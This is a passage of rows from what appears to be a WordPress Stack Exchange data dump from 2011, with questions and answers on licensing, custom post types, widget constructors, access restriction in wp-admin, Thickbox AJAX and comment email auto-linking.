  <row Id="14956" PostTypeId="2" ParentId="14951" CreationDate="2011-04-17T20:33:14.423" Score="2" ViewCount="" Body="&lt;p&gt;A popular choice is the Duel license &lt;strong&gt;BOTH&lt;/strong&gt; GPL &lt;strong&gt;AND&lt;/strong&gt; (non-modified) MIT. The non-modified MIT license is on the list of &lt;a href=&quot;http://www.gnu.org/licenses/license-list.html#GPLCompatibleLicenses&quot; rel=&quot;nofollow&quot;&gt;Compatible&lt;/a&gt; licenses though (See:Expat License)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Area of jurisdiction: Austria.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is interesting to me, I'm not sure that line violates any license but to me part of Open Source is just giving up some rights. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and every other copyright notice found in this software, and all the &#xA;  attributions in every file, &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Copyright in the source code is protected however, requiring public copyright notices violates both licenses.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Software may be used to publish and/or display legal content.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is implied with the MIT/GPL as you aren't limited in what you can do with the software so there should be no need to state that they can use it for legal content&lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-04-17T20:33:14.423" CommentCount="1" />
  <row Id="14957" PostTypeId="1" AcceptedAnswerId="14966" CreationDate="2011-04-17T20:36:15.170" Score="0" ViewCount="103" Body="&lt;p&gt;Basically, I want to show non-logged in users a page that says 'register or log in.' But I want to show logged in users a standard homepage will all my posts.&lt;/p&gt;&#xA;" OwnerUserId="2115" LastActivityDate="2011-04-18T02:11:52.990" Title="How do I show a different homepage to logged in and non-logged in users?" Tags="&lt;plugins&gt;&lt;registered&gt;&lt;logging&gt;" AnswerCount="2" />
  <row Id="14958" PostTypeId="1" AcceptedAnswerId="14967" CreationDate="2011-04-17T20:39:40.907" Score="1" ViewCount="39" Body="&lt;p&gt;More of an open discussion than a question, really, because I know adding custom arguments to the post type object does work, but I'm wondering if it is technically wrong in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, when registering a post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$labels = array(&#xA;    'name' =&amp;gt; _x('Drews', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Drew', 'post type singular name'),&#xA;    'add_new' =&amp;gt; __('Add New'),&#xA;    'add_new_item' =&amp;gt; __('Add New Item'),&#xA;    'edit_item' =&amp;gt; __('Edit Item'),&#xA;    'new_item' =&amp;gt; __('New Item'),&#xA;    'view_item' =&amp;gt; __('View Item'),&#xA;    'search_items' =&amp;gt; __('Search Items'),&#xA;    'not_found' =&amp;gt;  __('No Items found'),&#xA;    'not_found_in_trash' =&amp;gt; __('No Items found in Trash'), &#xA;    'menu_name' =&amp;gt; 'Archives'&#xA;);&#xA;$rewrite = array(&#xA;    'slug' =&amp;gt; 'drews'&#xA;);&#xA;$args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'show_in_menu' =&amp;gt; true, &#xA;    'query_var' =&amp;gt; 'drews',&#xA;    'rewrite' =&amp;gt; $rewrite,&#xA;    'has_archive' =&amp;gt; true, &#xA;    'hierarchical' =&amp;gt; false,&#xA;    'supports' =&amp;gt; array('title','editor','author','comments'),&#xA;    '_drew_made_this' =&amp;gt; true&#xA;); &#xA;register_post_type('drews',$args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make note of the very last line in my $args array, '_drew_made_this' set to 'true'. This allows me to condition against this in several useful ways, sort of how you would filter against '_builtin' when using get_post_types(). Like I said, I know this works because I'm using it, but is there any potential for this to break WordPress in any weird way.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-18T02:26:49.010" Title="Is it a good practice to include custom options when registering a post type?" Tags="&lt;custom-post-types&gt;&lt;object&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14959" PostTypeId="1" CreationDate="2011-04-17T21:02:20.073" Score="0" ViewCount="191" Body="&lt;p&gt;I've put together a small plugin to remove p tags from images inside the content area. I would like to keep the p tags around any texts that is there, but remove any p tags from around video embeds, namely around the  tag&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_ptags_on_images($content)&#xA;{&#xA;    // do a regular expression replace...&#xA;    // find all p tags that have just&#xA;    // &amp;lt;p&amp;gt;maybe some white space&amp;lt;img all stuff up to /&amp;gt; then maybe whitespace &amp;lt;/p&amp;gt;&#xA;    // replace it with just the image tag...&#xA;    $content = preg_replace('/&amp;lt;p&amp;gt;\s*(&amp;lt;a .*&amp;gt;)?\s*(&amp;lt;img .* \/&amp;gt;)\s*(&amp;lt;\/a&amp;gt;)?\s*&amp;lt;\/p&amp;gt;/iU', '\1\2\3', $content);&#xA;    return preg_replace('/&amp;lt;p&amp;gt;\s*(&amp;lt;iframe .*&amp;gt;*.&amp;lt;\/iframe&amp;gt;)\s*&amp;lt;\/p&amp;gt;/iU', '\1', $content);&#xA;    return preg_replace('/&amp;lt;p&amp;gt;\s*(&amp;lt;object .*&amp;gt;*.&amp;lt;\/object&amp;gt;)\s*&amp;lt;\/p&amp;gt;/iU', '\1', $content);&#xA;}&#xA;&#xA;// we want it to be run after the autop stuff... 10 is default.&#xA;add_filter('the_content', 'filter_ptags_on_images');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the direction to help add the removal around the  tag too please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Mark&lt;/p&gt;&#xA;" OwnerUserId="3121" LastActivityDate="2011-04-17T21:02:20.073" Title="How to remove p tags from &lt;object&gt;" Tags="&lt;functions&gt;&lt;filters&gt;&lt;object&gt;" CommentCount="1" />
  <row Id="14960" PostTypeId="1" AcceptedAnswerId="15422" CreationDate="2011-04-17T21:05:53.093" Score="1" ViewCount="114" Body="&lt;p&gt;It is possible to add a logout option to the main nav (not to the top bar) menu in buddypress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-04-22T23:27:05.977" Title="BuddyPress - How ta add logout in nav menu" Tags="&lt;menus&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14961" PostTypeId="1" CreationDate="2011-04-17T21:19:53.887" Score="0" ViewCount="266" Body="&lt;p&gt;I used a plug in to retrieve all the post from a category. The post is displayed in an unordered list &lt;code&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&lt;/code&gt; and everything if fine, even the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags to the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, for more usefulness (it's a word?), I would like, on hover of the link, to display the first image of the nextgen gallery found in this post. I do not have enough know-how to retro engineer the ngg plugin, but there should be a way to get, let's say the thumbnail of a post and set it as a tooltip.&lt;/p&gt;&#xA;" OwnerUserId="3969" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-18T13:37:09.357" LastActivityDate="2011-04-18T13:37:09.357" Title="Retreive post thumbnail and display it as tooltip on hover?" Tags="&lt;post-thumbnails&gt;&lt;plugin-nextgen-gallery&gt;&lt;tooltip&gt;" CommentCount="1" />
  <row Id="14962" PostTypeId="2" ParentId="14957" CreationDate="2011-04-17T21:26:34.477" Score="2" ViewCount="" Body="&lt;p&gt;Home page only or whole site?.. I assume latter as it makes more sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way I know is to use &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt; plugin and enable &lt;em&gt;Private Blog&lt;/em&gt; option it has.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-17T21:26:34.477" />
  <row Id="14963" PostTypeId="1" CreationDate="2011-04-17T21:26:56.347" Score="3" ViewCount="104" Body="&lt;p&gt;I'm trying to create a custom comments page with pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have non-hierarchical custom type &quot;apartments&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes urls like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/apartments/ - for acrhive&#xA;/apartments/%id%/ - for post page&#xA;/apartments/%id%/comments-page-X/ - for comments (X is some number)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I create page &lt;code&gt;/apartments/%id%/questions/&lt;/code&gt; for comments? And remove &lt;code&gt;/apartments/%id%/comments-page-X/&lt;/code&gt; if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to make this url structure for comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/apartments/%id%/questions/ - first page of the comments&#xA;/apartments/%id%/questions/page/X/ - pagination for comments (X is some number)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the solution?&lt;/p&gt;&#xA;" OwnerUserId="876" LastEditorUserId="876" LastEditorDisplayName="" LastEditDate="2011-05-28T23:00:06.950" LastActivityDate="2011-06-21T09:53:28.043" Title="Custom comments" Tags="&lt;comments&gt;&lt;url-rewriting&gt;&lt;rewrite-rules&gt;&lt;get-comments&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14964" PostTypeId="1" AcceptedAnswerId="14969" CreationDate="2011-04-18T01:32:08.287" Score="0" ViewCount="212" Body="&lt;p&gt;What action or filter do I have to check or compare against $pagenow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the admin area, I need to let non admin and editor users only to access:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php (dashboard)&#xA;upload.php (attachments management)&#xA;media.php (attachments management)&#xA;media-new.php (attachments management)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-04-18T01:40:57.043" LastActivityDate="2011-04-18T05:57:04.947" Title="Restrict access in wp-admin area?" Tags="&lt;wp-admin&gt;" AnswerCount="2" />
  <row Id="14965" PostTypeId="1" AcceptedAnswerId="14968" CreationDate="2011-04-18T01:55:53.937" Score="1" ViewCount="49" Body="&lt;p&gt;I find that if I use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class widget_name extends WP_Widget {&#xA;    function __construct() { ... }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class widget_name extends WP_Widget {&#xA;    function widget_name() { ... }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an error like &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 523800 bytes) in /var/www/vhosts/klifmedia.net/httpdocs/jm/km/wp-content/themes/km/functions.php on line 77&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-04-18T03:04:44.117" Title="Why will using __construct instead of widget_class_name when creating widget trigger out of memory error" Tags="&lt;widgets&gt;&lt;errors&gt;" AnswerCount="1" />
  <row Id="14966" PostTypeId="2" ParentId="14957" CreationDate="2011-04-18T02:11:52.990" Score="2" ViewCount="" Body="&lt;p&gt;Rarst's solution is indeed the simplest way to do it and the Members plugin also has heaps of other advantages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also do it without a plugin, by using the is_user_logged_in() function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_user_logged_in&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/is_user_logged_in&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_currentuserinfo#Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_currentuserinfo#Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-04-18T02:11:52.990" />
  <row Id="14967" PostTypeId="2" ParentId="14958" CreationDate="2011-04-18T02:26:49.010" Score="2" ViewCount="" Body="&lt;p&gt;You can add as many arguments as you want to the &lt;code&gt;register_post_type()&lt;/code&gt; $args as they are all save in &lt;code&gt;$wp_post_types&lt;/code&gt; global in an array (ex: $wp_post_types[type] = $args), but i'm not sure if that is the best way to go since this could easily be changed in the future and then your functions will break, a better way to go would be to create your own option in the options table and use that, what i mean is that you could use &lt;code&gt;get_post_types()&lt;/code&gt; and save them as an array in a type =&gt; $args manner and that way you are not depending on the core functionality to stay in the current state. Hope this makes scene.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-18T02:26:49.010" CommentCount="1" />
  <row Id="14968" PostTypeId="2" ParentId="14965" CreationDate="2011-04-18T02:45:34.060" Score="4" ViewCount="" Body="&lt;p&gt;Because &lt;code&gt;widget_name::__construct()&lt;/code&gt; calls &lt;code&gt;WP_Widget::WP_Widget()&lt;/code&gt;, which in turn calls &lt;code&gt;widget_name::__construct()&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple solution would be to make &lt;code&gt;widget_name::__construct()&lt;/code&gt; call &lt;code&gt;WP_Widget::__construct()&lt;/code&gt; directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16768#comment:9&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16768#comment:9&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-18T03:04:44.117" LastActivityDate="2011-04-18T03:04:44.117" />
  <row Id="14969" PostTypeId="2" ParentId="14964" CreationDate="2011-04-18T03:06:38.273" Score="2" ViewCount="" Body="&lt;p&gt;that depends on if you want to redirect users away the you should use &lt;code&gt;init&lt;/code&gt; hook since no output or headers are sent before that hook. or if you want to display a nice &quot;You Don't have the right permissions to access this page&quot; message then you can use the &lt;code&gt;wp_head&lt;/code&gt; action hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//display meassage&#xA;add_action('admin_head','my_restrict_access');&#xA;function my_restrict_access_meassage(){&#xA;    global $pagenow;&#xA;    if ($pagenow == 'upload.php' &amp;amp;&amp;amp; !current_user_can( 'upload_files' )){&#xA;        echo '&amp;lt;div class=&quot;wrap&quot;&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;div id=&quot;message&quot; class=&quot;error&quot;&amp;gt;You Dont have the right permissions to access this page&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;';&#xA;        exit();&#xA;    }&#xA;}&#xA;//or redirect&#xA;add_action('init','my_restrict_redirect');&#xA;function my_restrict_redirect(){&#xA;    global $pagenow;&#xA;    if (!is_admin())&#xA;        return '';&#xA;    if ($pagenow == 'upload.php' &amp;amp;&amp;amp; !current_user_can( 'upload_files' )){&#xA;        wp_redirect( home_url() );&#xA;        die();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-18T03:06:38.273" />
  <row Id="14970" PostTypeId="2" ParentId="6890" CreationDate="2011-04-18T04:03:51.877" Score="0" ViewCount="" Body="&lt;p&gt;If you follow those same instructions provided by Mike in the  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2757/creating-multiple-menus-when-using-the-twentyten-theme/2760#2760&quot;&gt;Creating Multiple Menus when using the TwentyTen Theme?&lt;/a&gt;  answer.  When you get to the section on editing the template is where it gets confusing with Thesis since the templates are not really the standard wordpress templates.  Since you said the thesis hooks are little confusing, and they are to many people,  I would recommend you try the OpenHook plugin (http://wordpress.org/extend/plugins/thesis-openhook/) and you can add php calls like below anywhere you like. Openhook creates cut and paste boxes for every Thesis hook and you can drop html, php, text anything you wish.  Also gives you easy way to remove the more common hook elements like footer attribution etc. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php&#xA;    wp_nav_menu(array(&#xA;      'container_class' =&amp;gt; 'menu-footer',&#xA;      'theme_location' =&amp;gt; 'footer'&#xA;    ));&#xA;  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4696" LastActivityDate="2011-04-18T04:03:51.877" />
  <row Id="14971" PostTypeId="2" ParentId="10154" CreationDate="2011-04-18T04:15:40.937" Score="1" ViewCount="" Body="&lt;p&gt;Just build out new login pages in subdirs. Copy the existing wp-login page into a new directory in your webroot (maybe &quot;/login&quot;), rename it index.php, add a WordPress bootstrap to the top of the page, and do whatever you like with it (theming, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do have to adjust the login page's default code a bit, mostly to find/replace for hardcoded links and redirects to &quot;wp-login.php&quot;. But as long as you leave all the hooks and filters in place, this approach won't mess up any plugin integration. And WordPress core updates are fine, unless the update includes changes to the wp-login page itself (which rarely happens in minor versions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also build out user account pages this way (I put them in the dir &quot;/profile&quot;). Once you've done that, subscriber-level users should never need to go into wp-admin, so you can protect it with an htaccess file. This is the part that actually gives you the added security you were looking for. Just be sure to make an exception in your htacces for the admin-ajax file, since some plugins use it on the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty sure you're not going to find a plugin-only solution. But if you do, let us know!&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-04-18T04:15:40.937" />
  <row Id="14973" PostTypeId="1" CreationDate="2011-04-18T04:36:16.900" Score="3" ViewCount="282" Body="&lt;p&gt;I'm working on a plugin, which converts a site into a feedback sort of portal. I made a new object page, 'Feedbacks', which displays all the feedbacks is a tabular format, and I'm using &lt;code&gt;register_column_headers($array_of_column_headers)&lt;/code&gt; to make my table. I wanted to know if it is possible to add my own page row actions to this table, i mean under every feedback in the list, actions like 'approve', 'delete', 'blacklist' etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read the code and a couple of tickets, and found out its done this way: for posts, its &lt;code&gt;post_row_actions&lt;/code&gt;, for comments its &lt;code&gt;comment_row_actions&lt;/code&gt;, for media its &lt;code&gt;media_row_actions&lt;/code&gt; and so on. Is there a filter that allows me to do, &lt;code&gt;my-page-slug_row_actions&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="4740" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-18T13:33:38.907" LastActivityDate="2011-05-05T07:22:17.833" Title="Row actions for custom post types?" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="14974" PostTypeId="1" AcceptedAnswerId="15004" CreationDate="2011-04-18T04:44:34.587" Score="3" ViewCount="284" Body="&lt;p&gt;I added a custom button to the TinyMCE editor, and I want to open WP's Thickbox when I click on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it so that the &lt;code&gt;tb_show()&lt;/code&gt; function loads the content I want with ajax?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// the ajax&#xA;add_action('wp_ajax_getTheContent', 'getTheContent');&#xA;function getTheContent(){&#xA;  echo 'weqwtegeqgr'; // &amp;lt;- this should be displayed in the TB&#xA;  die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's some of the editor plugin code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;init : function(ed, url) {&#xA;  ed.addButton('do_stuff', {&#xA;    title : 'Do Stuff',&#xA;    image : url + '/icon.gif',&#xA;    onclick : function() {&#xA;        OpenMyThickbox('do_stuff');&#xA;    }&#xA;  });&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the &lt;code&gt;OpenMyThickbox&lt;/code&gt; javascript function should do what I want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function OpenMyThickbox(tag){&#xA;  tb_show(tag, '...'); // &amp;lt;- how to load content trough ajax here ?&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-04-18T13:53:55.437" Title="Open a Thickbox with content trough AJAX" Tags="&lt;ajax&gt;&lt;editor&gt;&lt;thickbox&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="14975" PostTypeId="2" ParentId="8481" CreationDate="2011-04-18T05:02:15.427" Score="0" ViewCount="" Body="&lt;p&gt;You can link to your own function like below. I'm passing a url parameter along with the post id, then I'm seeing if that parameter is set, and calling a function based on that. If you want the logout url instead of the custom url, try replacing the anchor with this... &#xA;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo wp_logout_url( home_url() ); ?&amp;gt;&quot; title=&quot;Logout&quot;&amp;gt;Logout&amp;lt;/a&amp;gt;&lt;/code&gt;. Obviously you'd have to login to see that 'logout' link, hence I don't see a point in putting a login link over there!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('post_row_actions', 'testing');&#xA;function testing( $actions, $post )&#xA;{&#xA;if ( $post-&amp;gt;post_type == 'visitor' )&#xA;{&#xA;    //unset( $actions['edit'] );&#xA;    unset( $actions['inline hide-if-no-js'] );&#xA;    unset( $actions['trash'] );&#xA;    unset( $actions['view'] );&#xA;&#xA;    //Adding a custom link and passing the post id with it&#xA;    $actions['customedit'] = '&amp;lt;a href=\''.admin_url('?action=test&amp;amp;post='.$post-&amp;gt;ID).'\' target=\'blank\'&amp;gt;Test&amp;lt;/a&amp;gt;';&#xA;}&#xA;return $actions;&#xA;}&#xA;&#xA;//Now to get the 'test' argument, and triggering a function based on it...&#xA;&#xA;if($_GET['action'] == 'test')&#xA;{&#xA;$post_to_print = $_GET['post'];&#xA;print_post($post_to_print);&#xA;}&#xA;&#xA;function print_post($id)&#xA;{&#xA;$my_post = get_post($id);&#xA;&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;print_r($my_post);&#xA;echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if it worked!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Rutwick&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-04-18T05:02:15.427" />
  <row Id="14976" PostTypeId="1" AcceptedAnswerId="14986" CreationDate="2011-04-18T05:02:44.250" Score="0" ViewCount="121" Body="&lt;p&gt;I am using WordPress &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;Custom Menus&lt;/a&gt;. I have links like&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Home&lt;/strong&gt; - Rendered using &lt;code&gt;home.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Blog&lt;/strong&gt; - Rendered using &lt;code&gt;page-blog.php&lt;/code&gt; with &lt;code&gt;WP_Query&lt;/code&gt; to get blog posts&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Services&lt;/strong&gt; - Page &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Portfolio&lt;/strong&gt; - Rendered using &lt;code&gt;page-portfolio.php&lt;/code&gt; to get all posts of the Custom Post Type &quot;Portfolio&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Contact&lt;/strong&gt; - Page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I will like to determine which link is current and style them. How will I do that? WordPress wont know which is selected when I am in a simple blog post for example &lt;code&gt;single.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="3788" LastEditorDisplayName="" LastEditDate="2011-04-18T05:08:56.753" LastActivityDate="2011-04-18T07:00:09.377" Title="Determining the &quot;current_page&quot; in WordPress Custom Menus" Tags="&lt;custom-menus&gt;&lt;css&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="14977" PostTypeId="1" CreationDate="2011-04-18T05:17:47.537" Score="0" ViewCount="101" Body="&lt;p&gt;Hey guys, I'm using the latest version of wordpress (3.1.1). Is it just me, or is wordpress now automatically linking plain-text email addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I type &lt;code&gt;jdoe@email.com&lt;/code&gt; as a comment and it shows up as &lt;code&gt;&amp;lt;a href=&quot;mailto:jdoe@gmail.com&quot;&amp;gt;jdoe@gmail.com&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a plugin that filters comment text using the &lt;code&gt;get_comment_text&lt;/code&gt; filter and then subsequently modifies the presentation of the email address. This plugin worked fine before, but like I said, now wordpress automatically links email addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured that wordpress would follow its own rules and do it by means of a filter, so I went ahead and added a priority level to my &lt;em&gt;own&lt;/em&gt; filter of &lt;code&gt;9000&lt;/code&gt; figuring that way I can force mine to trigger after wordpress is done sticking its nose in something that's not its business, but this did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if anyone here knows a way around this situation, or at the very least, if someone knowledgeable about the system could point me to the source that is responsible for this automatic linking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plugin already has the functionality to work with plain-text emails, but this too is broken because after it modifies the presentation of the plain-text email, wordpress then goes and linkifies it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: One Trick Poney pointed me to &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/formatting.php#L1386&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;make_clickable&lt;/code&gt;&lt;/a&gt; which is responsible for this. It's indeed added as a filter in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/default-filters.php#L150&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-includes/default-filters.php&lt;/code&gt;&lt;/a&gt;, with a priority of &lt;code&gt;9&lt;/code&gt;. However, I have already tried, like I mentioned above, to set the priority level to &lt;code&gt;9000&lt;/code&gt; to make my plugin work after wordpress has done its dirty business. This didn't work, is it because I'm getting the original unfiltered content? I figured I would be getting the filtered content (i.e. the content already linked).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then I went ahead and activated the plain-text filter (which applies to plain-text emails), and applied it a priority of &lt;code&gt;-9000&lt;/code&gt; so that it gets in before &lt;code&gt;make_clickable&lt;/code&gt;, but again nothing good came of this because when &lt;code&gt;make_clickable&lt;/code&gt; did fire, it went ahead and figured it'd be a good idea to linkify the links I create. It 'linkifies' the urls in the &lt;code&gt;href&lt;/code&gt; attribute of a link, making for very messy output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems that the best thing to do would be to get in &lt;em&gt;after&lt;/em&gt; wordpress has done its business, after &lt;code&gt;make_clickable&lt;/code&gt; has fired, but like I said for some reason even though I apply my filter a priority level of &lt;code&gt;9000&lt;/code&gt;, compared to &lt;code&gt;make_clickable&lt;/code&gt; whose priority level is only &lt;code&gt;9&lt;/code&gt;, nothing seems to happen. I will continue to investigate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can understand and imagine that wordpress devs were trying to be more user-friendly, but this seems to have caused some edge-case problems (ex. linkifying href attributes in already-existing links).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;: Yep, I just tested my filter with a priority level of 9000, which I would imagine should run &lt;em&gt;after&lt;/em&gt; wordpress' &lt;code&gt;make_clickable&lt;/code&gt; whose priority level is 9. My filter gets the unaltered/unfiltered content. I don't know how or why this is happening. I would have imagined that having a later priority I would get the content as it had so far been altered by higher-priority filters, otherwise situations like these (collisions?) would arise, like this one.&lt;/p&gt;&#xA;" OwnerUserId="113" LastEditorUserId="113" LastEditorDisplayName="" LastEditDate="2011-04-18T05:51:06.077" LastActivityDate="2011-04-18T06:07:48.770" Title="wordpress is automatically linking plaintext email addresses" Tags="&lt;plugin-development&gt;&lt;3.1&gt;&lt;filters&gt;&lt;email&gt;" AnswerCount="1" CommentCount="3" />
